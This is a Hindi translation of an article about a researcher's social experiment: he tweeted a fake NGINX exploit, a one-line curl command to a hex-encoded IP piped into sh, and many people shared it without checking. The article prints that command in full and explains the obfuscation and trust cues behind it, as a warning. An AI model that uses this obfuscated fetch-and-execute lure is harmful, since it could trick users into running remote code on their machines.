नकली नगनेक्स शोषण के साथ एक सामाजिक प्रयोग की सफलता

टिप्पणी। अनुवाद।: लेखक 1 जून को प्रकाशित मूल नोट में सूचना सुरक्षा में रुचि रखने वालों के बीच एक प्रयोग करने का निर्णय लिया गया। ऐसा करने के लिए, उसने वेब सर्वर में एक अज्ञात भेद्यता के लिए एक नकली शोषण तैयार किया और इसे अपने ट्विटर पर पोस्ट किया। उनकी धारणाएँ - तुरंत विशेषज्ञों द्वारा उजागर की जाएंगी जो कोड में स्पष्ट धोखे को देखेंगे - न केवल सच नहीं हुईं... वे सभी अपेक्षाओं को पार कर गईं, और विपरीत दिशा में: ट्वीट को कई लोगों से भारी समर्थन मिला जिन्होंने ऐसा नहीं किया इसकी सामग्री की जाँच करें.

टीएल;डीआर: किसी भी परिस्थिति में श या बैश में फ़ाइल पाइपलाइनिंग का उपयोग न करें। यह आपके कंप्यूटर पर नियंत्रण खोने का एक शानदार तरीका है।

मैं आपके साथ एक कॉमिक पीओसी कारनामे के बारे में एक छोटी कहानी साझा करना चाहता हूं जो 31 मई को बनाई गई थी। वह समाचार के जवाब में तुरंत उपस्थित हुए अलीसा एसेज शेवचेंको, सदस्य शून्य दिवस की पहल (जेडडीआई), एनजीआईएनएक्स में आरसीई (रिमोट कोड निष्पादन) की ओर ले जाने वाली भेद्यता के बारे में जानकारी जल्द ही प्रकट की जाएगी। चूंकि एनजीआईएनएक्स कई वेबसाइटों को अधिकार देता है, इसलिए यह खबर धमाकेदार रही होगी। लेकिन "जिम्मेदार प्रकटीकरण" प्रक्रिया में देरी के कारण, जो कुछ हुआ उसका विवरण ज्ञात नहीं था - यह मानक ZDI प्रक्रिया है।

कलरव एनजीआईएनएक्स में भेद्यता प्रकटीकरण के बारे में

कर्ल में एक नई ओफ़्स्क्यूशन तकनीक पर काम पूरा करने के बाद, मैंने मूल ट्वीट उद्धृत किया और "एक कार्यशील पीओसी लीक किया" जिसमें कोड की एक पंक्ति शामिल थी जो कथित तौर पर खोजी गई भेद्यता का फायदा उठाती है। निःसंदेह, यह पूरी तरह बकवास था। मैंने मान लिया था कि मैं तुरंत बेनकाब हो जाऊंगा, और ज्यादा से ज्यादा मुझे कुछ रीट्वीट मिलेंगे (ओह ठीक है)।

कलरव नकली शोषण के साथ

हालाँकि, मैं कल्पना नहीं कर सका कि आगे क्या हुआ। मेरे ट्वीट की लोकप्रियता आसमान छू गई. हैरानी की बात यह है कि फिलहाल (15 जून को मास्को समय 00:1 बजे) कम ही लोगों को एहसास हुआ कि यह नकली है। बहुत से लोग इसे बिना जाँचे ही रीट्वीट कर देते हैं (इसके द्वारा प्रदर्शित सुंदर ASCII ग्राफ़िक्स की प्रशंसा करना तो दूर की बात है)।

जरा देखो यह कितना सुंदर है!

हालाँकि ये सभी लूप और रंग बहुत अच्छे हैं, यह स्पष्ट है कि लोगों को इन्हें देखने के लिए अपनी मशीन पर कोड चलाना पड़ा। सौभाग्य से, ब्राउज़र उसी तरह काम करते हैं, और इस तथ्य के साथ कि मैं वास्तव में कानूनी परेशानी में नहीं पड़ना चाहता था, मेरी साइट में छिपा हुआ कोड किसी भी अतिरिक्त कोड को स्थापित या निष्पादित करने का प्रयास किए बिना केवल इको कॉल कर रहा था।

एक छोटा विषयांतर: नेटस्पूकी, DNZ, मैं और टीम के अन्य लोग ठग भीड़ हम पिछले कुछ समय से कर्ल कमांड को अस्पष्ट करने के विभिन्न तरीकों से खेल रहे हैं क्योंकि यह अच्छा है... और हम गीक हैं। नेटस्पूकी और डीएनएज़ ने कई नए तरीके खोजे जो मुझे बेहद आशाजनक लगे। मैं मनोरंजन में शामिल हो गया और ट्रिक्स के बैग में आईपी दशमलव रूपांतरण जोड़ने का प्रयास किया। यह पता चला है कि आईपी को हेक्साडेसिमल प्रारूप में भी परिवर्तित किया जा सकता है। इसके अलावा, कर्ल और अधिकांश अन्य NIX उपकरण ख़ुशी से हेक्साडेसिमल आईपी खाते हैं! तो यह सिर्फ एक ठोस और सुरक्षित दिखने वाली कमांड लाइन बनाने की बात थी। आख़िरकार मैंने इस पर निर्णय लिया:

curl -gsS https://127.0.0.1-OR-VICTIM-SERVER:443/../../../%00/nginx-handler?/usr/lib/nginx/modules/ngx_stream_module.so:127.0.0.1:80:/bin/sh%00<'protocol:TCP' -O 0x0238f06a#PLToffset |sh; nc /dev/tcp/localhost

सामाजिक-इलेक्ट्रॉनिक इंजीनियरिंग (एसईई) - केवल फ़िशिंग से कहीं अधिक

सुरक्षा और परिचितता इस प्रयोग का प्रमुख हिस्सा थे। मुझे लगता है कि उन्हीं के कारण उसे सफलता मिली। कमांड लाइन ने स्पष्ट रूप से "127.0.0.1" (प्रसिद्ध लोकलहोस्ट) का हवाला देकर सुरक्षा का संकेत दिया। लोकलहोस्ट को सुरक्षित माना जाता है और इस पर मौजूद डेटा आपके कंप्यूटर को कभी नहीं छोड़ता है।

परिचितता प्रयोग का दूसरा प्रमुख एसईई घटक था। चूंकि लक्षित दर्शकों में मुख्य रूप से कंप्यूटर सुरक्षा की बुनियादी बातों से परिचित लोग शामिल थे, इसलिए कोड बनाना महत्वपूर्ण था ताकि इसके कुछ हिस्से परिचित और परिचित (और इसलिए सुरक्षित) लगें। पुरानी शोषण अवधारणाओं के तत्वों को उधार लेना और उन्हें असामान्य तरीके से संयोजित करना बहुत सफल साबित हुआ है।

नीचे एक-पंक्ति का विस्तृत विश्लेषण दिया गया है। इस सूची में हर चीज़ पहनती है कॉस्मेटिक प्रकृति, और व्यावहारिक रूप से इसके वास्तविक संचालन के लिए कुछ भी आवश्यक नहीं है।

कौन से घटक वास्तव में आवश्यक हैं? यह -gsS, -O 0x0238f06a, |sh और वेब सर्वर स्वयं। वेब सर्वर में कोई दुर्भावनापूर्ण निर्देश नहीं थे, लेकिन केवल कमांड का उपयोग करके ASCII ग्राफ़िक्स परोसे गए थे echo में निहित स्क्रिप्ट में index.html. जब उपयोगकर्ता ने एक पंक्ति में प्रवेश किया |sh बीच में, index.html लोड किया गया और निष्पादित किया गया। सौभाग्य से, वेब सर्वर के संरक्षकों का कोई गलत इरादा नहीं था।

• ../../../%00 - निर्देशिका से आगे जाने का प्रतिनिधित्व करता है;
• ngx_stream_module.so - एक यादृच्छिक एनजीआईएनएक्स मॉड्यूल का पथ;
• /bin/sh%00<'protocol:TCP' - हम कथित तौर पर लॉन्च कर रहे हैं /bin/sh लक्ष्य मशीन पर और आउटपुट को टीसीपी चैनल पर रीडायरेक्ट करें;
• -O 0x0238f06a#PLToffset - गुप्त घटक, पूरक #PLToffset, पीएलटी में किसी तरह निहित मेमोरी ऑफसेट की तरह दिखने के लिए;
• |sh; - एक और महत्वपूर्ण अंश. हमें स्थित हमलावर वेब सर्वर से आने वाले कोड को निष्पादित करने के लिए आउटपुट को sh/bash पर रीडायरेक्ट करने की आवश्यकता थी 0x0238f06a (2.56.240.x);
• nc /dev/tcp/localhost - एक डमी जिसमें नेटकैट का उल्लेख है /dev/tcp/localhostताकि सब कुछ फिर से सुरक्षित दिखे. दरअसल, यह कुछ नहीं करता और खूबसूरती की कतार में शामिल हो जाता है।

यह एक-पंक्ति स्क्रिप्ट की डिकोडिंग और "सामाजिक-इलेक्ट्रॉनिक इंजीनियरिंग" (जटिल फ़िशिंग) के पहलुओं की चर्चा को समाप्त करता है।

वेब सर्वर कॉन्फ़िगरेशन और प्रतिउपाय

चूँकि मेरे अधिकांश ग्राहक इन्फोसेक/हैकर्स हैं, इसलिए मैंने वेब सर्वर को उनकी ओर से "रुचि" की अभिव्यक्तियों के प्रति थोड़ा अधिक प्रतिरोधी बनाने का निर्णय लिया, ताकि लोगों को कुछ करने को मिले (और यह करना मजेदार होगा) स्थापित करना)। मैं यहां सभी नुकसानों की सूची नहीं बना रहा हूं क्योंकि प्रयोग अभी भी जारी है, लेकिन यहां कुछ चीजें हैं जो सर्वर करता है:

• सक्रिय रूप से कुछ सामाजिक नेटवर्क पर वितरण प्रयासों की निगरानी करता है और उपयोगकर्ता को लिंक पर क्लिक करने के लिए प्रोत्साहित करने के लिए विभिन्न पूर्वावलोकन थंबनेल को प्रतिस्थापित करता है।
• शेल स्क्रिप्ट दिखाने के बजाय Chrome/Mozilla/Safari/आदि को Thugcrowd प्रचार वीडियो पर रीडायरेक्ट करता है।
• घुसपैठ/स्पष्ट हैकिंग के स्पष्ट संकेतों पर नज़र रखता है, और फिर एनएसए सर्वर पर अनुरोधों को पुनर्निर्देशित करना शुरू करता है (हेक्टेयर!)।
• उन सभी कंप्यूटरों पर एक ट्रोजन, साथ ही एक BIOS रूटकिट स्थापित करता है, जिनके उपयोगकर्ता नियमित ब्राउज़र से होस्ट पर जाते हैं (मजाक कर रहे हैं!)।

एंटीमर्स का एक छोटा सा हिस्सा

इस मामले में, मेरा एकमात्र लक्ष्य अपाचे की कुछ विशेषताओं में महारत हासिल करना था - विशेष रूप से, अनुरोधों को पुनर्निर्देशित करने के अच्छे नियम - और मैंने सोचा: क्यों नहीं?

एनजीआईएनएक्स शोषण (वास्तविक!)

सदस्यता लें @alisaesage ट्विटर पर और एनजीआईएनएक्स में वास्तविक कमजोरियों और दोहन के अवसरों को संबोधित करने में ZDI के महान कार्य का अनुसरण करें। उनके काम ने मुझे हमेशा आकर्षित किया है और मैं ऐलिस का आभारी हूं कि उसने मेरे मूर्खतापूर्ण ट्वीट के कारण आए सभी उल्लेखों और सूचनाओं को धैर्यपूर्वक बनाए रखा। सौभाग्य से, इसने कुछ अच्छा भी किया: इससे एनजीआईएनएक्स कमजोरियों के बारे में जागरूकता बढ़ाने में मदद मिली, साथ ही कर्ल के दुरुपयोग से होने वाली समस्याओं के बारे में भी।

स्रोत: www.habr.com